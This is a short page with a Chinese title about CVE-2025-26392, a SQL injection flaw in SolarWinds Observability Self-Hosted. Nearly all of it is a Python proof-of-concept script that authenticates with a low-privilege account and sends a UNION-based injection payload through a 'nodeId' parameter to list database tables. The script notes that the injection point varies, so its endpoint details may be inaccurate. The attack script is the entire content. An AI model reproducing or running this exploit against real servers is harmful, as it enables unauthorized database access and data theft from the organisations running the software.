CVE-2025-26392 SolarWinds Observability Self-Hosted SQL注入漏洞

# CVE-2025-26392 - SolarWinds Observability Self-Hosted SQL Injection PoC # This PoC demonstrates the SQL injection vulnerability in the SolarWinds Observability Self-Hosted # The vulnerability exists in API endpoints that fail to properly sanitize user input import requests import sys TARGET_URL = "https://target-solarwinds-observability:443" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate with low-privilege account to obtain session token def authenticate(base_url, username, password): """Authenticate to obtain a valid session token""" login_url = f"{base_url}/api/v1/auth/login" payload = { "username": username, "password": password } response = requests.post(login_url, json=payload, verify=False) if response.status_code == 200: return response.json().get("token") return None # Step 2: Exploit SQL injection in a vulnerable parameter def exploit_sqli(base_url, token, injection_payload): """Send crafted request with SQL injection payload""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # The injection point varies depending on the affected endpoint vulnerable_url = f"{base_url}/api/v1/monitoring/query" params = { "nodeId": injection_payload # SQL injection via nodeId parameter } response = requests.get(vulnerable_url, headers=headers, params=params, verify=False) return response # Step 3: Extract sensitive data using UNION-based SQL injection def extract_data(base_url, token): """Use UNION-based injection to extract database contents""" # Example UNION-based payload to enumerate tables payload = "1' UNION SELECT table_name, NULL, NULL FROM information_schema.tables--" response = exploit_sqli(base_url, token, payload) if response.status_code == 200: print("[+] Extracted tables:") print(response.text) return response if __name__ == "__main__": requests.packages.urllib3.disable_warnings() print(f"[*] Target: {TARGET_URL}") token = authenticate(TARGET_URL, USERNAME, PASSWORD) if token: print("[+] Authentication successful") print("[*] Attempting SQL injection...") extract_data(TARGET_URL, token) else: print("[-] Authentication failed") sys.exit(1)